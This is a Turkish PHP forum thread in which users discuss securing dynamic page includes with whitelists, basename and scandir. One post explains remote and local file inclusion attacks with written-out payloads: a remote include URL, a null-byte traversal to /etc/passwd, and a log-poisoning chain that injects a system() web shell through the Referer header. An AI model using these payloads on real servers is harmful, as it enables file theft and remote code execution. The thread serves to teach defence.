Zoque.Forum
Dirsek Teması:
Geri Dön Zoque.Forum » Webmaster Kaynaklari » Sunucu Tabanlı Programlama (Server Side) » PHP » Çok Temel Bir PHP Sorusu (Resimli Anlatım)


Yanıt
 
LinkBack Seçenekler
Old 10.09.2007   #21 (permalink)
 
David Wenham's Avatar
 
Üyelik Tarihi: 17.01.2004
Yer: İstanbul
Mesaj: 490
Görsel: 1
Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)


Alıntı:
kArA tarafından gönderilen mesaj: Mesajı Görüntüle
Querystring ile gönderilen değerleri kontrol etmeden kullanırsanız güvenlik sorunları ile karşılaşabilirsiniz. Kötü niyetli kişiler index.PHP?sayfa=http://www.kotusite.com/kotusayfa.PHP şeklinde kendi kodlarını sitenizde çalıştırabilir.

Şöyle bir kontrol yapabilirsiniz

PHP Code:
<?PHP
$sayfa 
"default";
$sayfalar = array("default""haber_ekle""haber_sil");
if(
array_search($sayfalar$_GET["sayfa"]) === True)
   
$sayfa $_GET["sayfa"];
include 
'pages/'.$sayfa.'.PHP'
?>
Böylece ön tanımlı $sayfalar dizisinde sayfa mevcut ise dahil edilmiş olur, eğer dizi içerisinde querystringden gelen değer bulunamazsa o zaman $sayfa değişkeninin ilk değeri olan default.PHP sayfasına yönlendirilmiş olur.
Mekanizma geliştirilebilir, iş yerinde olduğum ve vaktim kısıtlı olduğu için etraflıca düşünemedim.
Peki bu durumda eklediğimiz her sayfayı array in içine eklememiz mi lazım olacak. Ben öteki yöntemde sadece linke index.PHP?sayfa=icerik girip icerik.PHP sayfasını da hazırladığımda otomatik olarak siteyi görüyordu. Bunda ise her oluşturduğumuz sayfayı index.PHP deki array dizisine eklememiz gerekecek doğru mu?
David Wenham şu an çevrimdışı  
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl'e kaydet! http://reddit.com/submit?url=%url%&title=%title%Wong'e kaydet!Yahoo'ya kaydet!Google'a kaydet!MSN'e kaydet!Facebook'e kaydet!
Mesajdan alıntı yaparak yeni bir cevap ekleyin
Old 10.09.2007   #22 (permalink)
 
David Wenham's Avatar
 
Üyelik Tarihi: 17.01.2004
Yer: İstanbul
Mesaj: 490
Görsel: 1
Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

Alıntı:
kArA tarafından gönderilen mesaj: Mesajı Görüntüle

PHP Code:
<?PHP
$sayfa 
"default";
$sayfalar = array("default""haber_ekle""haber_sil");
if(
array_search($sayfalar$_GET["sayfa"]) === True)
   
$sayfa $_GET["sayfa"];
include 
'pages/'.$sayfa.'.PHP'
?>

Bu arada üstteki işlemi yaptığımda "
Warning: array_search(): Wrong datatype for second argument in D:\Home\siteadi.com\httpdocs\beta\Index.PHP on line 281
" şeklinde bir hata verdi..
David Wenham şu an çevrimdışı  
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl'e kaydet! http://reddit.com/submit?url=%url%&title=%title%Wong'e kaydet!Yahoo'ya kaydet!Google'a kaydet!MSN'e kaydet!Facebook'e kaydet!
Mesajdan alıntı yaparak yeni bir cevap ekleyin
Old 10.09.2007   #23 (permalink)
BYK
 
BYK's Avatar
 
Üyelik Tarihi: 08.04.2003
Yer: Ankara
Yaş: 20
Mesaj: 688
Görsel: 8
Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

Bir array'in içinden kontrol etmek yerine örneğin include klasöründe aranan dosyanın olup olmadığını denetlemek daha iyi bir yöntem bence.
__________________
Hayata gülümse!

Fotoğraf Sergim - www.fototonik.com/madbyk@gmail.com/Denemeler
BYK şu an çevrimdışı  
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl'e kaydet! http://reddit.com/submit?url=%url%&title=%title%Wong'e kaydet!Yahoo'ya kaydet!Google'a kaydet!MSN'e kaydet!Facebook'e kaydet!
Mesajdan alıntı yaparak yeni bir cevap ekleyin
Old 10.09.2007   #24 (permalink)
 
Üyelik Tarihi: 03.08.2000
Yer: İstanbul
Mesaj: 38
Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

Alıntı:
David Wenham tarafından gönderilen mesaj: Mesajı Görüntüle
Bu arada üstteki işlemi yaptığımda "
Warning: array_search(): Wrong datatype for second argument in D:\Home\siteadi.com\httpdocs\beta\Index.PHP on line 281
" şeklinde bir hata verdi..
Hatanın sebebi array_search fonksiyonuna argümanları yanlış sıra ile vermiş olmam. Doğrusu şu şekilde olacak:

PHP Code:
<?PHP
$sayfa 
"default";
$sayfalar = array("default""haber_ekle""haber_sil");
if(
array_search($_GET["sayfa"], $sayfalar) === True)
   
$sayfa $_GET["sayfa"];
include 
'pages/'.$sayfa.'.PHP'
?>
Ayrıca BYK'nın önerisi de güvenliği bir adım ileri taşır. Daha şık olur.
__________________
kara
http://www.karalamalar.net
kArA şu an çevrimdışı  
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl'e kaydet! http://reddit.com/submit?url=%url%&title=%title%Wong'e kaydet!Yahoo'ya kaydet!Google'a kaydet!MSN'e kaydet!Facebook'e kaydet!
Mesajdan alıntı yaparak yeni bir cevap ekleyin
Old 10.09.2007   #25 (permalink)
 
David Wenham's Avatar
 
Üyelik Tarihi: 17.01.2004
Yer: İstanbul
Mesaj: 490
Görsel: 1
Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

Alıntı:
BYK tarafından gönderilen mesaj: Mesajı Görüntüle
Bir array'in içinden kontrol etmek yerine örneğin include klasöründe aranan dosyanın olup olmadığını denetlemek daha iyi bir yöntem bence.

Bunu nasıl yapabiliriz PHP ile?
David Wenham şu an çevrimdışı  
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl'e kaydet! http://reddit.com/submit?url=%url%&title=%title%Wong'e kaydet!Yahoo'ya kaydet!Google'a kaydet!MSN'e kaydet!Facebook'e kaydet!
Mesajdan alıntı yaparak yeni bir cevap ekleyin
Old 10.09.2007   #26 (permalink)
BYK
 
BYK's Avatar
 
Üyelik Tarihi: 08.04.2003
Yer: Ankara
Yaş: 20
Mesaj: 688
Görsel: 8
Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

PHP Code:
if (file_exists($dosya_adi))
  include(
$dosya_adi);
else
  include(
'404.htm'); 
Şeklinde bir kullanım işini görecektir sanırım.

Not: array de aslında güvenli bir yöntem bence ancak ben siteye yeni içerik/sayfa eklediğimde ana kodunu değiştirmeyi ve yine ana kodun bu tarz sabit değerlerle şişmesini sevmiyorum. Biraz da tercih meselesi yani
__________________
Hayata gülümse!

Fotoğraf Sergim - www.fototonik.com/madbyk@gmail.com/Denemeler
BYK şu an çevrimdışı  
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl'e kaydet! http://reddit.com/submit?url=%url%&title=%title%Wong'e kaydet!Yahoo'ya kaydet!Google'a kaydet!MSN'e kaydet!Facebook'e kaydet!
Mesajdan alıntı yaparak yeni bir cevap ekleyin
Old 11.09.2007   #27 (permalink)
 
meteryus's Avatar
 
Üyelik Tarihi: 26.12.2005
Yer: feza
Yaş: 27
Mesaj: 181
Görsel: 11
Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

file_exists aloow_url_foen ın açık olduğu sunucularda uzaktaki dosyların varlığını kotrol edebileceği için ciddi sorunlara neden olabilir (Bakınız XSS) ayrıca sunucuda şifre dosyları gibi include edilmesi istenmeyen dosyaların da siteye çağrılması sağlanabilir, yüklenecek sayfaları bir diziye atmak (beyaz liste yöntemi) bu sorunlar çözmek için en güvenli yoldur.

Yine de bu yöntemi kullanmak istemezseniz, basename() fonksityonu ile gelen dosyanın ismini belirleyerek bildiğiniz dizinden yükleme yapabilirsiniz, bu kötü niyetli kişilerin sizin istemediğiniz dosyları include etme olasılığını oldukça azaltır.
PHP Code:
    if($_GET['module']) 
    {
   
$dir "include_edilecek_dosyalar/";
   
$ext ".PHP";
   
$page $dir.basename(strval($_GET['module']),$ext).$ext;
           if(
is_file($page)) 
        {
               include(
$page);
        }        
                                          else echo 
"dosya bulunamadı";        
    } 
__________________
meteryus.com // geri döndü
meteryus şu an çevrimdışı  
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl'e kaydet! http://reddit.com/submit?url=%url%&title=%title%Wong'e kaydet!Yahoo'ya kaydet!Google'a kaydet!MSN'e kaydet!Facebook'e kaydet!
Mesajdan alıntı yaparak yeni bir cevap ekleyin
Old 11.09.2007   #28 (permalink)
BYK
 
BYK's Avatar
 
Üyelik Tarihi: 08.04.2003
Yer: Ankara
Yaş: 20
Mesaj: 688
Görsel: 8
Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

meteryus'un belirttiği şeyi yazmayı unutmuşum ben de. Sistem olarak tam da onun yazdığı kod gibi bir şey kullanıyoruz kendi sitemizde de.

Teşekkürler uyarı için
__________________
Hayata gülümse!

Fotoğraf Sergim - www.fototonik.com/madbyk@gmail.com/Denemeler
BYK şu an çevrimdışı  
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl'e kaydet! http://reddit.com/submit?url=%url%&title=%title%Wong'e kaydet!Yahoo'ya kaydet!Google'a kaydet!MSN'e kaydet!Facebook'e kaydet!
Mesajdan alıntı yaparak yeni bir cevap ekleyin
Old 11.09.2007   #29 (permalink)
 
Üyelik Tarihi: 23.10.2005
Yer: Eregli
Yaş: 21
Mesaj: 60
Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

Son zamanlarda PHP ile yazılmış sistemlerde en çok görülen güvenlik problemlerinden biri Remote File Include “uzaktan kod/dosya çalıştırma” saldırıları.

Genelde, modüler bir yapı uğruna şu çeşit kodları görebilmek mümkün;

Kod:
<?
include $_GET["sayfa"];
?>
Aslında, gayet basit ve işe yarar bir kod gibi görünse de artık hemen hemen her PHP programcısının bildiği gibi saldıranlar açısından pek iyi bir kod değil.

Örnek saldırı: index.PHP?sayfa=http://uzaktakisunucu.com/saldiran_dosya.txt

Saldırıları önlemek amacıyla birçok forumda/platformda çeşitli önlemler görüyorum. Fakat gerçekten güvenli çözüm göremedim desem yalan olur.

Şimdi gelelim, güvenli olmayan güvenlik yaklaşımlarına;
  • Dosyaya path eklemek

En yaygın sorunlardan bir tanesi. Include yolunun başına path ekleyince sorun olmayacakmış gibi geliyor web programcılarına;

Örnek kod;
Kod:
<?
include 'inc/'.$_GET["sayfa"].'.PHP';
?>
Bu yaklaşımda güvenli değil. İlk önce local file include sonrasında da code execution saldırılarına yol açıyor.

Nasıl olduğunu görelim;

Örnek saldırı: index.PHP?sayfa=../../../../etc/passwd%00

Evet bu şekilde yapılacak bir istekle, Linux sunucularda bulunan passwd dosyası ekrana basılacaktır.

Büyük ihtimalle null byte’ı (%00) ilk defa görüyorsanız kafanız karıştı. Normalde sonuna uzantı ekliyoruz diye düşündünüz. Fakat PHP, C familyasından bir dildir. Ve değişkeni işlerken %20 karakterini gördüğü zaman durur, dolayısıyla sonuna inter-polation yardımıyla eklediğiniz uzantı işe yaramaz hale gelir.

Bu durumda http_auth ile sakladığınız dizinlerin içerikleri görüntülenebilir, ve daha da tehlikesi sunucunuzda kod çalıştırılabilir.

Hemen hemen her web sunucu gelen http isteklerini loglar ve bunu belirli bir dosyaya kaydeder. Örneğin, Access.log vardır apache’dir. Bu log dosyalarının makine üstündeki yerler bellidir.

Ve yine http istekleri kullanıcı tarafından geldiği için suistimal edilebilir.

Saldırıyı örnekleyelim hemen;
  1. HTTP_REFERER bilgisini <? echo system($_GET[“c”]); ?> şeklinde yolla ve siteye gir.
  2. local file include bulunan dosyaya, ?sayfa=../../../var/logs/access.log&c=ls –all
şeklinde istek yap.

Bu isteğin sonucunda çalışılan dizinin içeriği ekrana basılacaktır.

ls –all yerine çok daha tehlikeli kodlar çalıştırılabilir.
  • file_exists();

Alıntı:
BYK tarafından gönderilen mesaj: Mesajı Görüntüle
PHP Code:
if (file_exists($dosya_adi))
  include(
$dosya_adi);
else
  include(
'404.htm'); 
Şeklinde bir kullanım işini görecektir sanırım.

Not: array de aslında güvenli bir yöntem bence ancak ben siteye yeni içerik/sayfa eklediğimde ana kodunu değiştirmeyi ve yine ana kodun bu tarz sabit değerlerle şişmesini sevmiyorum. Biraz da tercih meselesi yani


Öncelikle file_exists() yukarıdaki saldırılardan zaten etkilenecektir. Çünkü olmayan bir dosya include edilmiyor sonuçta. Fakat bunun yanında PHP5 ile birlikte file_exists(); http wrapper’lari da destekliyor. Dolayısıyla, uzaktaki sunucudaki dosyaları da kontrol edebiliyor. Manual sayfasına bakabilirseniz görürsünüz.

Peki ya çözüm?

Aslında çözüm gayet basit. Tam beyaz liste’lik iş. Örnek kod;

Kod:
<?


$beyaz_liste = array('haberler','linkler','dosyalar'); # cogaltilabilir..
    
    if(in_array($_GET["sayfa"],$beyaz_liste)) {
        $do = $_GET["sayfa"];
    }
    else {
        $do = 'index'; # anasayfa her neyse..
    }
    include('inc/'.$do.'.PHP');
    
    
?>
Bu kod her şeyi halledecektir. Fakat her dosyayı array’e atmak benim için zor diyorsanız, bunu otomatik olarakta yapabilirsiniz. Ornegin, scandir() fonksiyonu parametre olarak aldığı dizindeki dosyaları array olarak döndürür.

Dip not: şu yazıdan sonra rahat 1 ay bir şey yazmam ben.
Yns_ şu an çevrimdışı  
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl'e kaydet! http://reddit.com/submit?url=%url%&title=%title%Wong'e kaydet!Yahoo'ya kaydet!Google'a kaydet!MSN'e kaydet!Facebook'e kaydet!
Mesajdan alıntı yaparak yeni bir cevap ekleyin
Old 12.09.2007   #30 (permalink)
BYK
 
BYK's Avatar
 
Üyelik Tarihi: 08.04.2003
Yer: Ankara
Yaş: 20
Mesaj: 688
Görsel: 8
Re: Çok Temel Bir PHP Sorusu (Resimli Anlatım)

En sona koyduğun scandir() fonksiyonu olmadığı sürece beyaz liste uygulamasına kesinlikle karşıyım ancak çok güzel noktalara değinmişsin. Hem eline sağlık hem teşekkürler, ben şu scandir'i bir kullanayım hemen
__________________
Hayata gülümse!

Fotoğraf Sergim - www.fototonik.com/madbyk@gmail.com/Denemeler
BYK şu an çevrimdışı  
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl'e kaydet! http://reddit.com/submit?url=%url%&title=%title%Wong'e kaydet!Yahoo'ya kaydet!Google'a kaydet!MSN'e kaydet!Facebook'e kaydet!
Mesajdan alıntı yaparak yeni bir cevap ekleyin
Sponsorlu Bağlantılar
Zoque.Forum
Reklam
Yanıt

Etiketler

include , including , page , php , sayfa



 
Zoque'a hoşgeldiniz!
Zoque 27.02.1999 tarihinde yayın hayatına başlamış, paylaşıma dayalı bir oluşumdur. Tasarım, teknoloji, web, kültür ve sanat ana başlıkları altında bilgi paylaşımı ve benzer değerlere sahip katılımcıların birbirleriyle iletişime girmelerine imkan sağlar. "Az ama Öz" sloganından yola çıkarak, kaliteli ve nitelikli katılımı temel alır.

Saygın ve ciddi bir ortamda yardımlaşmak, haberleşmek, kendi bildiklerini diğer katılımcılarla paylaşmak isteyen, oluşumumuza düzenli katılımda bulunacağı inancını taşıyan konuklarımızı üye olmaya davet ediyoruz. [ » ]


Üye Girişi:

UslanmaM baktabul.com TEKplatform TEKplatform

En popüler ilk 100 etiket
Tag Cloud
acil